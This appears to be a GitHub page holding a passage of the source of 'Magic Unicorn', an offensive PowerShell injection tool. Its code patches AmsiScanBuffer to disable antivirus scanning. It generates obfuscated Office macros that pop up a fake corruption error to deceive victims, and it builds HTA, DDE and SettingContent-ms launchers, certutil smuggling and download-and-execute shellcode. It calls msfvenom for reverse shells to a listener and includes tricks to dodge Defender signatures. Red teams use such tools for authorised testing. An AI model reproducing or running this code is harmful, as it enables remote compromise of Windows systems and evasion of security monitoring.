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jeffmcjunkin Remove msfvenom --smallest flag
Latest commit b2b8e8b Apr 19, 2022 History 
Fixes #162
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@HackingDave @mandreko @jeffmcjunkin @iam1980 @th3joker3000 @invalid-email-address @rikvanduijn @hannestrunde
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#!/usr/bin/python3
#
# Magic Unicorn - PowerShell downgrade attack and exploitation tool
#
# Written by: Dave Kennedy (@HackingDave)
# Company: TrustedSec (@TrustedSec) https://www.trustedsec.com
#
# Real quick down and dirty for native x86 powershell on any platform
#
# Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro>
# Example: python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443
# Macro Example: python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443 macro
# HTA Example: python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443 hta
#
# Requirements: Need to have Metasploit installed if using Metasploit methods.
# Also supports Cobalt Strike and custom shellcode delivery methods.
#
#
# IMPORTANT: The way this works is by using 32-bit shellcode and a 32-bit downgrade attack.
# That means your payloads should be a 32-bit payload, not a 64-bit. It will not work if you
# generate a 64-bit platform. Don't fret - the 32-bit payload works on the 64-bit platform.
#
# Special thanks to Matthew Graeber and Josh Kelley
#
import base64
import re
import subprocess
import sys
import os
import shutil
import random
import string
import binascii
from functools import reduce
# python 3 compat
try: input = raw_input
except NameError: pass
#######################################################################################################
# Keep Matt Happy #####################################################################################
#######################################################################################################
# ____ __. _____ __ __ ___ _ ##
#| |/ _|____ ____ ______ / \ _____ _/ |__/ |_ / | \_____ ______ ______ ___.__. ##
#| <_/ __ \_/ __ \\____ \ / \ / \\__ \\ __\ __\ / ~ \__ \ \____ \\____ < | | ##
#| | \ ___/\ ___/| |_> > / Y \/ __ \| | | | \ Y // __ \| |_> > |_> >___ | ##
#|____|__ \___ >\___ > __/ \____|__ (____ /__| |__| \___|_ /(____ / __/| __// ____| ##
# \/ \/ \/|__| \/ \/ \/ \/|__| |__| \/ ##
#######################################################################################################
#######################################################################################################
##############################################################################################################
# #
# #
# These are configuration options for Unicorn to automatically do certain things such as ASMI Bypassing. #
# More to come in this section soon, but you will want to configure this to turn it on/off depending #
# on what you need. #
# #
##############################################################################################################
# This will append the AMSI bypass code which is longer than 8191 characters. You will want to turn this off
# if you need a payload that works with cmd.exe as it has a character length restriction size.
AMSI_BYPASS="ON"
# This will print out the fully decoded command for you instead of running it through the powershell obfuscated
# code.
PRINT_DECODED="OFF"
#
# generate a random string
#
def generate_random_string(low, high):
length = random.randint(low, high)
letters = string.ascii_letters # + string.digits
return ''.join([random.choice(letters) for _ in range(length)])
# generate a random number based on range
def generate_random_number(low, high):
for x in range(1): return random.randint(low,high)
# randomize words for evasion
def mangle_word(word):
random_length = generate_random_number(1, len(word))
counter = 0
assemble = ""
for letter in word:
if counter == random_length:
assemble = assemble + '"+"' + letter + '"+"'
else:
assemble = assemble + letter
counter = counter + 1
return assemble
# needed for color in unicorn eyes
class ColorsEnum:
CYAN = '\033[96m'
BLUE = '\033[94m'
RED = '\033[91m'
BOLD = '\033[1m'
ENDC = '\033[0m'
# display unicorn banner
def gen_unicorn():
print(r"""
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |""" + ColorsEnum.RED + r"""\)\ """ + ColorsEnum.ENDC + r""") """ + ColorsEnum.RED + r"""/(/""" + ColorsEnum.ENDC + r"""|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cudHJ1c3RlZHNlYy5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMjAvMDUvc29ub2ZhLmpwZw==
""")
# display amsi help
def amsi_help():
print("""
[*******************************************************************************************************]
-----AMSI BYPASS INFORMATION----
For a full writeup of this technique and how it works, visit the original research from these locations:
https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html
https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
The way this works in Unicorn is by appending the bypass technique by disabling AMSI through patching and
disabling the AMSIScanBuffer functionality. In Unicorn this is an optional flag and can be turned off by
editing the unicorn.py file and turning AMSI_BYPASS="ON" to "OFF". The main trade-off with this technique
is that although it turns off AMSI when it's going to scan, it also increases the length of the payload
substantially. If you are working with cmd.exe as a method for a one liner powershell command, this will
increase the size of the payload more than the 8191 character size restriction. This means that when you
go to run this, you will need to do it directly through powershell.exe and not cmd.exe.
[*******************************************************************************************************]
""")
# display macro help
def macro_help():
print("""
[*******************************************************************************************************]
-----MACRO ATTACK INSTRUCTIONS----
For the macro attack, you will need to go to File, Properties, Ribbons, and select Developer. Once you do
that, you will have a developer tab. Create a new macro, call it Auto_Open and paste the generated code
into that. This will automatically run. Note that a message will prompt to the user saying that the file
is corrupt and automatically close the excel document. THIS IS NORMAL BEHAVIOR! This is tricking the
victim to thinking the excel document is corrupted. You should get a shell through powershell injection
after that.
""" + ColorsEnum.RED + """If you are deploying this against Office365/2016+ versions of Word you need
to modify the first line of the output from: Sub Auto_Open()
To: Sub AutoOpen()
The name of the macro itself must also be "AutoOpen" instead of the legacy "Auto_Open" naming scheme.""" + ColorsEnum.ENDC + """
NOTE: WHEN COPYING AND PASTING THE EXCEL, IF THERE ARE ADDITIONAL SPACES THAT ARE ADDED YOU NEED TO
REMOVE THESE AFTER EACH OF THE POWERSHELL CODE SECTIONS UNDER VARIABLE "x" OR A SYNTAX ERROR WILL
HAPPEN!
[*******************************************************************************************************]
""")
# display hta help
def hta_help():
print("""
[*******************************************************************************************************]
-----HTA ATTACK INSTRUCTIONS----
The HTA attack will automatically generate two files, the first the index.html which tells the browser to
use Launcher.hta which contains the malicious powershell injection code. All files are exported to the
hta_access/ folder and there will be three main files. The first is index.html, second Launcher.hta and the
last, the unicorn.rc (if metasploit was used) file. You can run msfconsole -r unicorn.rc to launch the listener
for Metasploit. If you didn't use Metasploit, only two files will be exported.
A user must click allow and accept when using the HTA attack in order for the powershell injection to work
properly.
[*******************************************************************************************************]
""")
# display powershell help
def ps_help():
print("""
[********************************************************************************************************]
-----POWERSHELL ATTACK INSTRUCTIONS----
Everything is now generated in two files, powershell_attack.txt and unicorn.rc. The text file contains all of the code needed in order to inject the powershell attack into memory. Note you will need a place that supports remote command injection of some sort. Often times this could be through an excel/word doc or through psexec_commands inside of Metasploit, SQLi, etc.. There are so many implications and scenarios to where you can use this attack at. Simply paste the powershell_attack.txt command in any command prompt window or where you have the ability to call the powershell executable and it will give a shell back to you. This attack also supports windows/download_exec for a payload method instead of just Meterpreter payloads. When using the download and exec, simply put python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe and the powershell code will download the payload and execute.
Note that you will need to have a listener enabled in order to capture the attack.
[*******************************************************************************************************]
""")
# display cert help
def cert_help():
print("""
[*******************************************************************************************************]
-----CERTUTIL Attack Instruction----
The certutil attack vector was identified by Matthew Graeber (@mattifestation) which allows you to take
a binary file, move it into a base64 format and use certutil on the victim machine to convert it back to
a binary for you. This should work on virtually any system and allow you to transfer a binary to the victim
machine through a fake certificate file. To use this attack, simply place an executable in the path of
unicorn and run python unicorn.py <exe_name> crt in order to get the base64 output. Once that's finished,
go to decode_attack/ folder which contains the files. The bat file is a command that can be run in a
windows machine to convert it back to a binary.
[*******************************************************************************************************]
""")
# display dde office injection help
def dde_help():
print("""
[*******************************************************************************************************]
-----DDE Office COM Attack Instructions----
This attack vector will generate the DDEAUTO formulate to place into Word or Excel. The COM object
DDEInitilize and DDEExecute allow for formulas to be created directly within Office which causes the
ability to gain remote code execution without the need of macros. This attack was documented and full
instructions can be found at:
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
In order to use this attack, run the following examples:
python unicorn.py <payload> <lhost> <lport> dde
python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde
Once generated, a powershell_attack.txt will be generated which contains the Office code, and the
unicorn.rc file which is the listener component which can be called by msfconsole -r unicorn.rc to
handle the listener for the payload. In addition a download.ps1 will be exported as well (explained
in the latter section).
In order to apply the payload, as an example (from sensepost article):
1. Open Word
2. Insert tab -> Quick Parts -> Field
3. Choose = (Formula) and click ok.
4. Once the field is inserted, you should now see "!Unexpected End of Formula"
5. Right-click the Field, choose "Toggle Field Codes"
6. Paste in the code from Unicorn
7. Save the Word document.
Once the office document is opened, you should receive a shell through powershell injection. Note
that DDE is limited on char size and we need to use Invoke-Expression (IEX) as the method to download.
The DDE attack will attempt to download download.ps1 which is our powershell injection attack since
we are limited to size restrictions. You will need to move the download.ps1 to a location that is
accessible by the victim machine. This means that you need to host the download.ps1 in an Apache2
directory that it has access to.
You may notice that some of the commands use "{ QUOTE" these are ways of masking specific commands
which is documented here: http://staaldraad.github.io/2017/10/23/msword-field-codes/. In this case
we are changing WindowsPowerShell, powershell.exe, and IEX to avoid detection. Also check out the URL
as it has some great methods for not calling DDE at all.
[*******************************************************************************************************]
""")
def custom_ps1_help():
print("""
[*******************************************************************************************************]
-----Custom PS1 Attack Instructions----
This attack method allows you to convert any PowerShell file (.ps1) into an encoded command or macro.
Note if choosing the macro option, a large ps1 file may exceed the amount of carriage returns allowed by
VBA. You may change the number of characters in each VBA string by passing an integer as a parameter.
Examples:
python unicorn.py harmless.ps1
python unicorn.py myfile.ps1 macro
python unicorn.py muahahaha.ps1 macro 500
The last one will use a 500 character string instead of the default 380, resulting in less carriage returns in VBA.
[*******************************************************************************************************]
""")
# cobalt strike usage banner
def cobalt_strike():
print("""
[*******************************************************************************************************]
-----Import Cobalt Strike Beacon----
This method will import direct Cobalt Strike Beacon shellcode directly from Cobalt Strike.
Within Cobalt Strike, export the Cobalt Strike "CS" (C#) export and save it to a file. For example, call
the file, cobalt_strike_file.cs.
The export code will look something like this:
* length: 836 bytes */
byte[] buf = new byte[836] { 0xfc, etc
Next, for usage:
python unicorn.py cobalt_strike_file.cs cs
The cs argument tells Unicorn that you want to use the Cobalt strike functionality. The rest is Magic.
Next simply copy the powershell command to something you have the ability for remote command execution.
NOTE: THE FILE MUST BE EXPORTED IN THE C# (CS) FORMAT WITHIN COBALT STRIKE TO PARSE PROPERLY.
There are some caveats with this attack. Note that the payload size will be a little over 14k+ in byte
size. That means that from a command line argument perspective if you copy and paste you will hit the
8191 character size restriction (hardcoded into cmd.exe). If you are launching directly from cmd.exe
this is an issue, however if you are launching directly from PowerShell or other normal applications
this is a non-problem.
A couple examples here, wscript.shell and powershell uses USHORT - 65535 / 2 = 32767 size limit:
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
For this attack if you are launching directly from powershell, VBSCript (WSCRIPT.SHELL), there is no
issues.
[*******************************************************************************************************]
""")
# this is used for custom shellcode generation
def custom_shellcode():
print("""
[*******************************************************************************************************]
-----Custom Shellcode Generation Method----
This method will allow you to insert your own shellcode into the Unicorn attack. The PowerShell code
will increase the stack side of the powershell.exe (through VirtualAlloc) and inject it into memory.
Note that in order for this to work, your txt file that you point Unicorn to must be formatted in the
following format or it will not work:
0x00,0x00,0x00 and so on.
Also note that there is size restrictions. The total length size of the PowerShell command cannot exceed
the size of 8191. This is the max command line argument size limit in Windows.
Usage:
python unicorn.py shellcode_formatted_properly.txt shellcode
Next simply copy the powershell command to something you have the ability for remote command execution.
NOTE: THE FILE MUST PROPERLY BE FORMATTED IN A 0x00,0x00,0x00 TYPE FORMAT WITH NOTHING ELSE OTHER THAN
YOUR SHELLCODE IN THE TXT FILE.
There are some caveats with this attack. Note that if your payload size is large in nature it will not
fit in cmd.exe. That means that from a command line argument perspective if you copy and paste you will
hit the 8191 character size restriction (hardcoded into cmd.exe). If you are launching directly from
cmd.exe this is an issue, however if you are launching directly from PowerShell or other normal
applications this is a non-problem.
A couple examples here, wscript.shell and powershell uses USHORT - 65535 / 2 = 32767 size limit:
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
For this attack if you are launching directly from powershell, VBSCript (WSCRIPT.SHELL), there is no
issues.
[*******************************************************************************************************]
""")
# this is used for custom shellcode generation
def settings_ms():
print("""
[*******************************************************************************************************]
-----SettingContent-ms Extension Method----
First, if you haven't had a chance, head over to the awesome SpectreOps blog from Matt Nelson (enigma0x3):
https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
This method uses a specific file type called ".SettingContent-ms" which allows for the ability for both
direct loads from browsers (open + command execution) as well as extension type through embedding in
office products. This one specifically will focus on extension type settings for command execution
within Unicorn's PowerShell attack vector.
There are multiple methods supported with this attack vector. Since there is a limited character size
with this attack, the method for deployment is an HTA.
For a detailed understanding on weaponizing this attack visit:
https://www.trustedsec.com/2018/06/weaponizing-settingcontent/
The steps you'll need to do to complete this attack is generate your .SettingContent-ms file from
either a standalone or hta. The HTA method supports Metasploit, Cobalt Strike, and direct
shellcode attacks.
The four methods below on usage:
HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
HTA Example SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms
HTA Example SettingContent-ms: python unicorn.py <path_to_shellcode.txt>: shellcode ms
Generate .SettingContent-ms: python unicorn.py ms
The first is a Metasploit payload, the second a Cobalt Strike, the third your own shellcode, and the fourth
just a blank .SettingContent-ms file.
When everything is generated, it will export a file called Standalone_NoASR.SettingContent-ms either in
the default root Unicorn directory (if using the standalone file generation) or under the hta_attack/
folder. You will need to edit the Standalone_NoASR.SettingContent-ms file and replace:
REPLACECOOLSTUFFHERE
With:
mshta http://<apache_server_ip_or_dns_name/Launcher.hta.
Then move the contents of the hta_attack to /var/www/html.
Once the victim either clicks the .SettingContent-ms file, mshta will be called on the victim machine
then download the Unicorn HTA file which has the code execution capabilites.
Special thanks and kudos to Matt Nelson for the awesome research
Also check out: https://www.trustedsec.com/2018/06/weaponizing-settingcontent/
Usage:
python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
python unicorn.py <cobalt_strike_file.cs cs ms
python unicorn.py <path_to_shellcode.txt>: shellcode ms
python unicorn.py ms
""")
# usage banner
def gen_usage():
print("-------------------- Magic Unicorn Attack Vector v3.17 -----------------------------")
print("\nNative x86 powershell injection attacks on any Windows platform.")
print("Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)")
print("Twitter: @TrustedSec, @HackingDave")
print("Credits: Matthew Graeber, Justin Elze, Chris Gates")
print("\nHappy Magic Unicorns.")
print("")
print("Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>")
print("PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443")
print("PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe")
print("PS Down/Exec Macro: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe macro")
print("Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro")
print("Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro")
print("HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta")
print("HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms")
print("HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta")
print("HTA Example SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms")
print("HTA Example SettingContent-ms: python unicorn.py <patth_to_shellcode.txt>: shellcode ms")
print("DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde")
print("CRT Example: python unicorn.py <path_to_payload/exe_encode> crt")
print("Custom PS1 Example: python unicorn.py <path to ps1 file>")
print("Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500")
print("Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)")
print("Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00 or metasploit)")
print("Custom Shellcode HTA: python unicorn.py <path_to_shellcode.txt> shellcode hta (formatted 0x00 or metasploit)")
print("Custom Shellcode Macro: python unicorn.py <path_to_shellcode.txt> shellcode macro (formatted 0x00 or metasploit)")
print("Generate .SettingContent-ms: python unicorn.py ms")
print("Help Menu: python unicorn.py --help\n")
# Using Rasta Mouse AMSI Bypass: https://raw.githubusercontent.com/rasta-mouse/AmsiScanBufferBypass/master/ASBBypass.ps1
def bypass_amsi():
amsi_string = ("""$1111 = @"\nusing System;using System.Runtime.InteropServices;public class Win32 {[DllImport("$kernel32")]public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);[DllImport("$kernel32")] public static extern IntPtr LoadLibrary(string name);[DllImport("$kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);}\n"@\nAdd-Type $1111;$2222 = [Win32]::GetProcAddress([Win32]::LoadLibrary("$amsi$dll"), "$amsi$scan$buffer");$3333 = 0;[Win32]::VirtualProtect($2222, [uint32][uint32]5, 0x40, [ref]$3333);$4444 = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3);[System.Runtime.InteropServices.Marshal]::Copy($4444, 0, $2222, 6)""")
return amsi_string
# this will convert any url to hexformat for download/exec payload
def url_hexified(url):
x = binascii.hexlify(url)
x = x.decode('utf-8')
a = [x[i:i+2] for i in range(0, len(x), 2)]
list = ""
for goat in a: list = list + "\\x" + goat.rstrip()
return list
# split string
def split_str(s, length):
return [s[i:i + length] for i in range(0, len(s), length)]
# write a file to designated path
def write_file(path, text):
file_write = open(path, "w")
file_write.write(text)
file_write.close()
# scramble commmands into multiple strings
def scramble_stuff():
ps = "powershell.exe"
list = ""
for letter in ps:
letter = '"' + letter.rstrip() + '" & '
list = list + letter
full_exe = list[:-2]
ps_only = full_exe.split(".")[0][:-4]
wscript = "WScript"
shell = "Shell"
list2 = ""
for letter in wscript:
letter = '"' + letter.rstrip() + '" & '
list2 = list2 + letter
full_wscript = list2[:-2]
list3 = ""
for letter in shell:
letter = '"' + letter.rstrip() + '" & '
list3 = list3 + letter
full_shell = list3[:-2]
return full_exe + "," + ps_only + "," + full_wscript + "," + full_shell
# generate full macro
def generate_macro(full_attack, line_length=50):
# we don't want to have AMSI_BYPASS messing with the payload itself so we strip the AMSI Bypass code to run our full powershell payload
if ("# actual unicorn payload") in full_attack:
full_attack = full_attack.split("actual unicorn payload")[1].split("\n")[1].rstrip()
# randomize macro name
macro_rand = generate_random_string(5, 10)
# start of the macro
macro_str = ("Sub Auto_Open()\nDim {0}\n{1} = ".format(macro_rand, macro_rand))
if line_length is None:
line_length_int = 50
else:
line_length_int = int(line_length)
powershell_command_list = split_str(full_attack, line_length_int)
counter = 0
for line in powershell_command_list:
if counter == 0:
macro_str += " \"" + line + "\"\n"
if counter >= 1:
macro_str += macro_rand + " = " + macro_rand + " + \"" + line + "\"\n"
counter = counter + 1
# strip un-needed
macro_str = macro_str.replace(r's\"\"v', "sv").replace(r'e\"\"c', 'ec').replace(r'\"\"v', 'v').replace(r'g\"\"v', 'gv')
macro_str = macro_str.replace('powershell /w 1 /C "', r' /w 1 /C ""')
#macro_str = macro_str.replace('/w 1', "") # no longer needed
macro_str = macro_str.replace("')", "')\"")
# obfsucate the hell out of Shell and PowerShell
long_string = scramble_stuff().split(",")
# full powershell.exe
ps_long = long_string[0]
# ps abbreviated
ps_short = long_string[1][1:]
# wscript
wscript = long_string[2]
# shell
shell = long_string[3]
macro_str = macro_str.replace('powershell /w 1', ps_short + ' & " /w 1')
macro_str = macro_str.replace(';powershell', ';" & "' + ps_short + ' & "')
# randomized variables
function1 = generate_random_string(5, 15)
function2 = generate_random_string(5, 15)
function3 = generate_random_string(5, 15)
function4 = generate_random_string(5, 15)
function5 = generate_random_string(5, 15)
function6 = generate_random_string(5, 15)
# our message we present to the end user - can change this to whatever you want
macro_message = ("This application appears to have been made with an older version of the Microsoft Office product suite. Please have the author save this document to a newer and supported format. [Error Code: -219]")
# title bar on top what it states there, you can also change this to whatever you want
subject_message = ("Microsoft Office (Compatibility Mode)")
# our final product of obfsucated code - note that defender made a signature to look for WScript.Run with a compacted string with a "False" terminal window. Just needed to split it out into two lines :P
macro_str += ("""\n\nDim {0}\n{1} = {2}\nDim {3}\n{4} = {5}\nDim {6}\n{7} = {8} & "." & {9}\nDim {10}\nDim {11}\nSet {12} = VBA.CreateObject({13})\nDim waitOnReturn As Boolean: waitOnReturn = False\nDim windowStyle As Integer: windowStyle = 0\nDim {14}\n{14} = {15} & " "\n{17}.Run {18} & {19}, windowStyle, waitOnReturn\n\nDim title As String\ntitle = "{21}"\nDim msg As String\nDim intResponse As Integer\nmsg = "{20}"\nintResponse = MsgBox(msg, 16, title)\nApplication.Quit\nEnd Sub""".format(function1, function1, shell, function2, function2, wscript, function3, function3, function2, function1, function4, function5, function4, function3, function6, ps_long, function5, function4, function6,macro_rand,macro_message,subject_message))
# strip and fix issues
macro_str = macro_str.replace("''", "")
return macro_str
# generate Matthew Graeber's (Matt rocks) attack for binary to cert format #KeepMattHappy
# - https://gist.github.com/mattifestation/47f9e8a431f96a266522
def gen_cert_attack(filename):
if os.path.isfile(filename):
# make sure the directory is made
if not os.path.isdir("decode_attack"):
os.makedirs("decode_attack")
# remove old files here
if os.path.isfile("decode_attack/encoded_attack.crt"):
os.remove("decode_attack/encoded_attack.crt")
print("[*] Importing in binary file to base64 encode it for certutil prep.")
data = open(filename, "rb").read()
data = base64.b64encode(data)
print("[*] Writing out the file to decode_attack/encoded_attack.crt")
write_file("decode_attack/encoded_attack.crt",
"-----BEGIN CERTIFICATE-----\n{0}\n-----END CERTIFICATE-----".format(data))
print("[*] Filewrite complete, writing out decode string for you..")
write_file("decode_attack/decode_command.bat",
"certutil -decode encoded_attack.crt encoded.exe")
print("[*] Exported attack under decode_attack/")
print("[*] There are two files, encoded_attack.crt contains your encoded data")
print("[*] The second file, decode_command.bat will decode the cert to an executable.")
else:
print("[!] File was not found. Exiting the unicorn attack.")
sys.exit()
# Generate HTA launchers and index
def gen_hta_attack(command):
# HTA code here
command = command.replace("'", "\\'")
# generate random variable names for vba
hta_rand = generate_random_string(10, 30)
# split up so we arent calling shell command for cmd.exe
shell_split1 = generate_random_string(10, 100)
shell_split2 = generate_random_string(10, 100)
shell_split3 = generate_random_string(10, 100)
shell_split4 = generate_random_string(10, 100)
shell_split5 = generate_random_string(10, 100)
# 'powershell /w 1 /C "s\'\'v EZE -;s\'\'v KRA e\'\'c;s\'\'v gvH ((g\'\'v EZE).value.toString()+(g\'\'v KRA).value.toString());powershell (g
ps_split1 = generate_random_string(10, 100)
ps_split2 = generate_random_string(10, 100)
ps_split3 = generate_random_string(10, 100)
ps_split4 = generate_random_string(10, 100)
main1 = ("""<script>\n{0} = "WS";\n{1} = "crip";\n{2} = "t.Sh";\n{3} = "ell";\n{4} = ({0} + {1} + {2} + {3});\n{6} = "pow";\n{7} = "ersh";\n{8} = "ell";\n{9} = ({6} + {7} + {8});\n{5}=new ActiveXObject({4});\n""".format(shell_split1, shell_split2, shell_split3, shell_split4, shell_split5, hta_rand, ps_split1, ps_split2, ps_split3, ps_split4))
main2 = ("""{0}.run(""".format(hta_rand))
main4 = ("""{0}', 0);window.close();\n</script>""".format(command)).replace("powershell", "{0} + '".format(ps_split4)).replace(";{0}".format(ps_split4), ";' + {0}".format(ps_split4))
html_code = ("""<iframe id="frame" src="Launcher.hta" application="yes" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>""")
# remote old directory
if os.path.isdir("hta_attack"):
shutil.rmtree("hta_attack")
os.makedirs("hta_attack")
# write out index file
print("[*] Writing out index file to hta_attack/index.html")
write_file("hta_attack/index.html", html_code)
# write out Launcher.hta
print("[*] Writing malicious hta launcher hta_attack/Launcher.hta")
write_file("hta_attack/Launcher.hta", main1 + main2 + main4)
# format metasploit shellcode
def format_metasploit(data):
# start to format this a bit to get it ready
repls = {';': '', ' ': '', '+': '', '"': '', '\n': '', 'buf=': '', 'Found 0 compatible encoders': '','unsignedcharbuf[]=': ''}
#data = data.decode()
data = reduce(lambda a, kv: a.replace(*kv),iter(repls.items()), data).rstrip()
if len(data) < 1:
print("[!] Critical: It does not appear that your shellcode is formatted properly. Shellcode should be in a 0x00,0x01 format or a Metasploit format.")
print("[!] Example: msfvenom -p LHOST=192.168.5.5 LPORT=443 -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai -f c")
print("[!] Also ensure your syntax for unicorn is correct. Missing IP address, port, etc. etc. will cause this error.")
print("Exiting....")
sys.exit()
return data
# generate the actual shellcode through msf
def generate_shellcode(payload, ipaddr, port):
print("[*] Generating the payload shellcode.. This could take a few seconds/minutes as we create the shellcode...")
port = port.replace("LPORT=", "")
# if we are using traditional payloads and not download_exec
if not "exe=" in ipaddr:
ipaddr = "LHOST={0}".format(ipaddr)
port = "LPORT={0}".format(port)
# if download_exec is being used
if "url=" in ipaddr:
# shellcode modified from https://www.exploit-db.com/exploits/24318/ - tested on windows xp, windows 7, windows 10, server 2008, server 2012
shellcode = ("\\x33\\xC9\\x64\\x8B\\x41\\x30\\x8B\\x40\\x0C\\x8B"
"\\x70\\x14\\xAD\\x96\\xAD\\x8B\\x58\\x10\\x8B\\x53"
"\\x3C\\x03\\xD3\\x8B\\x52\\x78\\x03\\xD3\\x8B\\x72"
"\\x20\\x03\\xF3\\x33\\xC9\\x41\\xAD\\x03\\xC3\\x81"
"\\x38\\x47\\x65\\x74\\x50\\x75\\xF4\\x81\\x78\\x04"
"\\x72\\x6F\\x63\\x41\\x75\\xEB\\x81\\x78\\x08\\x64"
"\\x64\\x72\\x65\\x75\\xE2\\x8B\\x72\\x24\\x03\\xF3"
"\\x66\\x8B\\x0C\\x4E\\x49\\x8B\\x72\\x1C\\x03\\xF3"
"\\x8B\\x14\\x8E\\x03\\xD3\\x33\\xC9\\x51\\x68\\x2E"
"\\x65\\x78\\x65\\x68\\x64\\x65\\x61\\x64\\x53\\x52"
"\\x51\\x68\\x61\\x72\\x79\\x41\\x68\\x4C\\x69\\x62"
"\\x72\\x68\\x4C\\x6F\\x61\\x64\\x54\\x53\\xFF\\xD2"
"\\x83\\xC4\\x0C\\x59\\x50\\x51\\x66\\xB9\\x6C\\x6C"
"\\x51\\x68\\x6F\\x6E\\x2E\\x64\\x68\\x75\\x72\\x6C"
"\\x6D\\x54\\xFF\\xD0\\x83\\xC4\\x10\\x8B\\x54\\x24"
"\\x04\\x33\\xC9\\x51\\x66\\xB9\\x65\\x41\\x51\\x33"
"\\xC9\\x68\\x6F\\x46\\x69\\x6C\\x68\\x6F\\x61\\x64"
"\\x54\\x68\\x6F\\x77\\x6E\\x6C\\x68\\x55\\x52\\x4C"
"\\x44\\x54\\x50\\xFF\\xD2\\x33\\xC9\\x8D\\x54\\x24"
"\\x24\\x51\\x51\\x52\\xEB\\x47\\x51\\xFF\\xD0\\x83"
"\\xC4\\x1C\\x33\\xC9\\x5A\\x5B\\x53\\x52\\x51\\x68"
"\\x78\\x65\\x63\\x61\\x88\\x4C\\x24\\x03\\x68\\x57"
"\\x69\\x6E\\x45\\x54\\x53\\xFF\\xD2\\x6A\\x05\\x8D"
"\\x4C\\x24\\x18\\x51\\xFF\\xD0\\x83\\xC4\\x0C\\x5A"
"\\x5B\\x68\\x65\\x73\\x73\\x61\\x83\\x6C\\x24\\x03"
"\\x61\\x68\\x50\\x72\\x6F\\x63\\x68\\x45\\x78\\x69"
"\\x74\\x54\\x53\\xFF\\xD2\\xFF\\xD0\\xE8\\xB4\\xFF"
"\\xFF\\xFF\\xURLHERE\\x00")
url = ipaddr.replace("LHOST=", "").replace("url=", "")
url_patched = url_hexified(str.encode(url))
data = shellcode.replace("\\xURLHERE", url_patched)
else:
# gen random number for length
#uri_length=generate_random_number(5,7)
proc = subprocess.Popen("msfvenom -p {0} {1} {2} -t 0 --platform windows -f c".format(payload, ipaddr, port), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
# AutoUnhookProcess=true AutoVerifySession=false AutoLoadStdapi=false AutoSystemInfo=false --smallest
data = proc.communicate()[0]
# If you are reading through the code, you might be scratching your head as to why I replace the first 0xfc (CLD) from the beginning of the Metasploit meterpreter payload. Defender writes signatures here and there for unicorn, and this time they decided to look for 0xfc in the decoded (base64) code through AMSI. Interesting enough in all my testing, we shouldn't need a clear direction flag and the shellcode works fine. If you notice any issues, you can simply just make a variable like $a='0xfc'; at the beginning of the command and add a $a at the beginning of the shellcode which also evades. Easier to just remove if we don't need which makes the payload 4 bytes smaller anyways.
data = data.decode("ascii").replace('"\\xfc', '"', 1)
# bug output for metasploit, going to check here - if present then throw error message to end user
if "no longer be in use" in data or "long,erbe,inus,e,so,tryd,elet,ingt" in data:
print("[!] There was a problem generating the shellcode due to a Metasploit error. Please update Metasploit and re-run this.")
sys.exit()
# return the metasploit data
return format_metasploit(data)
